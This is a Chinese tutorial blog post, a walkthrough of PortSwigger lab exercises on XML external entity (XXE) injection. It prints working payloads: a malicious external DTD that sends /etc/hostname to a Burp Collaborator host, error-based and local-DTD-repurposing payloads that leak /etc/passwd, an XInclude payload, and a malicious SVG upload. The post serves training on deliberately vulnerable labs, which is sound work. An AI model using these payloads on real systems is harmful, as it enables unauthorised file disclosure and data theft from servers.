【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(下)

简介: 【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(下)

实验5:利用XXE盲注使用恶意外部DTD泄漏数据


信息:

本实验有一个"Check stock"(检查库存)功能,该功能可以解析XML输入,但不显示结果。

要解决实验问题,请将/etc/hostname文件的内容导出。


part1:


访问一个产品页面,点击"检查库存",并使用BP拦截产生的POST请求,并发送到repeater


e8e25cd310cb4c6a8f7f2cc637babb25.png


part2:


上传DTD文件


BP---BC客户端---“Copy to clipboard”负载复制到剪贴板(客户端窗口保持打开状态)


9c95a68cdda04e728e34b8c2bf2ca2f7.png


hwh2go56nreqc4j22wrj7aguzl5bt0.burpcollaborator.net


单击"Go to exploit server"(转到利用漏洞服务器)并将恶意DTD文件保存在您的服务器上。


将Burp Collaborator有效负载放入恶意DTD文件:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://hwh2go56nreqc4j22wrj7aguzl5bt0.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;


单机Store上传到服务器(本人测试,后缀加不加DTD都可以被识别出来)


3daa9accaff346e1bd63cafa2a95eb38.png


单击"view exploit"并记下URL(直接上传后有显示)


https://exploit-0a86000303a98408c5b231d30145003d.exploit-server.net/exploit.dtd

2cdf066db2ab4cde94c8a7b50061d648.png


part3:


XXE注入


在XML声明和stockCheck元素之间插入以下外部实体定义:


<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
我的是:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a86000303a98408c5b231d30145003d.exploit-server.net/exploit.dtd"> %xxe;]>

5c2bb709fda6403c86c76a91b65379f9.png

part4


完成实验

转到Collaborator选项卡,刷新看到一些DNS和HTTP交互,这些交互是应用程序由于负载而启动的


a5791b0ab16d4f61b102e97a827f3779.png

c7d4b93a96564ce69eba9cb66ed263cb.png

HTTP交互可以包含/etc/hostname文件的内容


068a1901105141db89cd0b5d05e00ac0.png


e45c164dddd047b5af216ea02e67e973.png


5、利用盲态XXE通过错误消息检索数据


1、利用盲XXE的另一种方法是触发XML解析错误,其中错误消息包含希望检索的敏感数据。如果应用程序在其响应中返回结果错误消息,则此操作将有效。


可以触发一条XML分析错误消息,该消息包含/etc/密码文件使用恶意外部DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
此DTD执行以下步骤:
    1、定义名为的XML参数实体file,包含的内容/etc/passwd文件。
    2、定义名为的XML参数实体eval,包含另一个XML参数实体的动态声明,该实体名为error。该error将通过加载一个不存在的文件(该文件的名称包含file实体。
    3、使用eval实体的动态声明,它将导致error要执行的实体。
    4、使用error实体,以便通过尝试加载不存在的文件来计算其值,从而生成包含不存在的文件的名称的错误消息,该文件是/etc/passwd文件。


2、调用恶意的外部DTD将导致出现如下错误消息:


java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...


3、涉及实验:

实验6:利用盲态XXE通过错误消息检索数据


实验6:利用盲态XXE通过错误消息检索数据


本实验有一个"Check stock"(检查库存)功能,该功能可以解析XML输入,但不显示结果。


解决实验:使用外部DTD触发错误消息,以显示/etc/passwd文件的内容。


本实验包含一个链接,该链接指向可托管恶意DTD的其他域中的漏洞攻击服务器。


part1:


访问一个产品页面,点击"检查库存",并使用BP拦截产生的POST请求,并发送到repeater


9ce065d2a5534aa984e1f687555b0876.png


part2:


上传DTD文件


单击"Go to exploit server"(转到利用漏洞服务器)并将恶意DTD文件保存在您的服务器上。


上传恶意DTD文件:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;


单机Store上传到服务器(本人测试,后缀加不加DTD都可以被识别出来)

b07249b3ca2143a59628a37ef3c5f6a0.png



单击"view exploit"并记下URL(直接上传后有显示)


https://exploit-0a7300340350f0ddc06167d1015f002c.exploit-server.net/exploit

1e062be404c74eb38a632f5cb7e1adfe.png

part3:


XXE注入


在XML声明和stockCheck元素之间插入以下外部实体定义:


<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
我的是:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a7300340350f0ddc06167d1015f002c.exploit-server.net/exploit"> %xxe;]>


看到一条错误消息,其中包含/etc/passwd文件的内容

703e674a8969485fb665b4e1af83c705.png


5f259c89426c4390b31530b0129235b2.png

6、通过改变本地DTD的用途来利用盲XXE


1、前面的技术可以很好地用于外部DTD,但通常不能用于在文件DOCTYPE元素。因为该技术涉及在另一个参数实体的定义中使用XML参数实体。根据XML规范,这在外部DTD中是允许的,但在内部DTD中不允许。(大多数解析器不会允许)


2、当带外交互被阻止时,不能通过带外连接泄漏数据,也不能从远程服务器加载外部DTD。在这种情况下,由于XML语言规范中的漏洞,仍然可能触发包含敏感数据的错误消息。如果文档的DTD混合使用内部和外部DTD声明,则内部DTD可以重定义在外部DTD中声明的实体。当发生这种情况时,对在另一个参数实体的定义中使用XML参数实体的限制就会放松


3、意味着攻击者可以使用基于误差的XXE技术(error-based XXE ),前提是它们使用的XML参数实体是重新定义在外部DTD中声明的实体。当然,如果阻塞了带外连接,则无法从远程位置加载外部DTD。相反,它需要是应用程序服务器本地的外部DTD文件。从本质上讲,攻击涉及调用一个碰巧存在于本地文件系统上的DTD文件,并重新调整其用途,以触发包含敏感数据的解析错误的方式重新定义现有实体。


4、例如,假设服务器文件系统上的以下位置有一个DTD文件/usr/local/app/schema.dtd,并且此DTD文件定义了一个名为custom_entity。


攻击者可以触发XML解析错误消息,该消息包含/etc/passwd文件,方法是提交如下所示的混合DTD: 
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
此DTD执行以下步骤:
    1、定义名为的XML参数实体local_dtd,包含服务器文件系统上存在的外部DTD文件的内容。
    2、重新定义名为custom_entity,它已在外部DTD文件中定义。实体被重新定义为包含基于错误XXE攻击这已经描述过了,用于触发包含/etc/passwd文件。
    3、使用local_dtd,以便解释外部DTD,包括custom_entity实体。这将产生所需的错误消息。


5、查找要重新使用的现有DTD文件


由于这种XXE攻击涉及到改变服务器文件系统上现有DTD的用途,因此关键的要求是找到合适的文件。这其实很简单。因为应用程序返回XML解析器抛出的任何错误消息,所以只需尝试从内部DTD中加载本地DTD文件,就可以轻松地枚举这些文件。


例如,使用GNOME桌面环境的Linux系统通常在/usr/share/yelp/dtd/docbookx.dtd中有一个DTD文件。可以通过提交以下XXE有效负载来测试此文件是否存在,如果文件丢失,则会导致错误:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>


在测试了公用DTD文件列表以定位存在的文件后,需要获取该文件的副本并对其进行审阅以查找可重定义的图元。由于许多包含DTD文件的常用系统都是开放源代码的,因此通常可以通过Internet搜索快速获得文件的副本


6、涉及实验:

实验9:利用XXE通过改变本地DTD的用途来检索数据


实验9:利用XXE通过改变本地DTD的用途来检索数据


本实验有一个"Check stock"(检查库存)功能,该功能可以解析XML输入,但不显示结果。


解决实验:请触发包含/etc/passwd文件内容的错误消息。


需要引用服务器上现有的DTD文件,并从中重新定义实体


使用GNOME桌面环境的系统通常在/usr/share/yelp/dtd/docbookx.dtd有一个DTD,其中包含一个名为ISOamso的实体。


part1:


访问一个产品页面,点击“检查库存”,并在Burp Suite中拦截由此产生的POST请求。


5115570a250242c699baf4b90837a44e.png


part2:


XXE注入

在XML声明和stockCheck元素之间插入以下参数实体定义:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>


这将导入Yelp DTD,然后重新定义ISOamso实体,触发包含/etc/passwd文件内容的错误消息

9c234e590c564dbfb0c365a4f77a1fac.png


a5b576880630459195bddec1463577fb.png

五、查找XXE注入的隐藏攻击面


1、简述:


XXE注入漏洞的攻击面在许多情况下是显而易见的,因为应用程序的正常HTTP通信量包括含有XML格式数据的请求。在其他情况下,攻击面不太明显。但如果在正确的地方查看,会发现XXE攻击出现在不包含任何XML的请求中


2、XInclude攻击


1、一些应用程序接收客户端提交的数据,在服务器端将其嵌入到XML文档中,然后解析该文档。当客户端提交的数据被放入后端SOAP请求中,然后由后端SOAP服务处理时,就会出现这种情况。


2、在这种情况下,不能执行典型的XXE攻击,因为不能控制整个XML文档,因此不能定义或修改文件DOCTYPE元素。但也许可以使用XInclude替代。XInclude是XML规范的一部分,它允许从子文档构建XML文档。可以放置一个XInclude XML文档中的任何数据值内的攻击,因此在仅控制放置在服务器端XML文档中的单个数据项的情况下可以执行攻击


3、要执行 XInclude 攻击,需要引用 XInclude 命名空间并提供希望包含的文件的路径。


例如:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>


4、涉及实验:

实验7:利用XInclude检索文件


实验7:利用XInclude检索文件


1、本实验有一个“Check stock”特性,它将用户输入嵌入到服务器端XML文档中,然后解析该文档。


2、因为不能控制整个XML文档,所以不能定义DTD来发起典型的XXE攻击。


3、完成实验:插入XInclude语句以检索/etc/passwd文件的内容。


4、默认情况下,XInclude会尝试将包含的文档解析为XML。由于/etc/passwd不是有效的XML,因此需要向XInclude指令添加一个额外的属性来更改此行为。


part1:


访问一个产品页面,点击"检查库存",并在Burp Suite中拦截由此产生的POST请求,并发送到repeater


897446fe58cb4b02a0fec05f9d041c72.png


part2:


XXE注入


将productId参数的值设置为(storeid的参数测试行不通)


<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

3eb28f497a8a455e9887e646c4eeedba.png8ca984b9e0d949bfb43f0e93f1045848.png

3、通过文件上传进行XXE攻击


1、一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用XML或包含XML子组件。基于XML的格式的例子有DOCX这样的办公文档格式和SVG这样的图像格式。


2、如应用程序可能允许用户上载图像,并在上载后在服务器上处理或验证这些图像。即使应用程序希望接收PNG或JPEG之类的格式,所使用的图像处理库也可能支持SVG图像。由于SVG格式使用XML,攻击者可以提交恶意SVG图像,从而到达XXE漏洞的隐藏攻击面。


3、涉及实验:

实验8:通过图像文件上传利用XXE


实验8:通过图像文件上传利用XXE


本实验允许用户将头像附加到评论中,并使用Apache Batik库处理头像图像文件。


完成实验:上载一个映像,其中显示处理后的/etc/hostname文件的内容。然后使用“Submit solution”按钮提交服务器主机名的值。


part1:


创建包含以下内容的本地SVG图像:


<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

da75a904fb8541b5b06abd3aec137b4a.png

part2:


在博客文章上发表评论,并将此图像作为头像上传


33fdbbcc1cee4bb69a4f4799ba2034f3.png


1105fe42fc5a4057a6a9497a999fae1f.png

当查看评论时,应该会在映像中看到/etc/hostname文件的内容


ce82b62d04b342e7a32433c9804b9835.png

cbc1b53c3df7

ba15292969c449c2a6e5c9baf44f0d2e.pngbb4bc0899e794f4d84f4e3c492933a91.png


使用“Submit solution”按钮提交服务器主机名的值


ba15292969c449c2a6e5c9baf44f0d2e.png

da13b33a19c4423888f5c198ad5a965f.png

4、通过修改内容类型的XXE攻击


1、大多数POST请求使用由HTML表单生成的默认内容类型,例如application/x-www-form-urlencoded。有些网站希望接收这种格式的请求,但也会容忍其他内容类型,包括XML。


例如,如果正常请求包含以下内容:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar


然后,可以提交以下请求,得到相同的结果:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>


如果应用程序允许在消息正文中包含XML的请求,并将正文内容解析为XML,那么只需将请求重新格式化为使用XML格式,就可以到达隐藏的XXE攻击面。


六、查找和测试XXE漏洞


1、简述:


1、绝大多数XXE漏洞都可以使用Burp Suite的Web漏洞扫描程序


XXE漏洞的手动测试通常包括:
    1、检测档桉检索方法是基于众所周知的操作系统文件定义外部实体,并在应用程序响应中返回的数据中使用该实体。
    2、检测盲目XXE漏洞方法是基于您控制的系统的URL定义外部实体,并监视与该系统的交互。Burp Collaborator客户端非常适合这个用途。
    3、测试服务器端XML文档中是否存在用户提供的非XML数据的漏洞XInclude攻击尝试检索已知的操作系统文件


2、XML只是一种数据传输格式。确保您还测试了任何基于XML的功能的其他漏洞,如XSS和SQL注入。您可能需要使用XML转义序列对有效负载进行编码,以避免破坏语法,但您也可以使用此序列来混淆攻击,以绕过薄弱的防御。


7d62be979184459ab44139ed85f387fe.png

目录
相关文章
|
10月前
|
XML Java 数据格式
Spring 基于 xml 注入 bean 的几种方式
Spring 基于 xml 注入 bean 的几种方式
154 0
|
5月前
|
XML Java 数据格式
spring通过文件属性注入bean和基于xml的bean的自动装配以及spring-eel表达式的使用加代码合集
spring通过文件属性注入bean和基于xml的bean的自动装配以及spring-eel表达式的使用加代码合集
48 0
|
9月前
|
XML Java 数据格式
案例03 基于xml配置的setter方法注入案例
通过setter方法方式来演示Spring容器在应用中是如何实现依赖注入的,实现StudentService调用StudentDao的saveStudent操作。
51 0
|
9月前
|
XML Java 数据格式
案例02 基于xml配置的构造方法注入案例
通过构造方法方式来演示Spring容器在应用中是如何实现依赖注入的,实现Student输出学生姓名和年龄。
43 0
|
12月前
|
XML 存储 安全
WEB漏洞 XML & XXE漏洞
WEB漏洞 XML & XXE漏洞
|
XML JSON 安全
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)
182 0
【BP靶场portswigger-服务端10】XML外部实体注入(XXE注入)-9个实验(全)(上)
|
20天前
|
XML 数据格式
小米备份descript.xml文件
小米备份descript.xml文件
21 0
|
1月前
|
XML Java 数据库连接
mybatis中在xml文件中通用查询结果列如何使用
mybatis中在xml文件中通用查询结果列如何使用
33 0
|
1月前
|
XML JavaScript 前端开发
xml文件使用及解析
xml文件使用及解析
|
2月前
|
SQL
Mybatis.xml文件中大于小于等于
Mybatis.xml文件中大于小于等于
9 0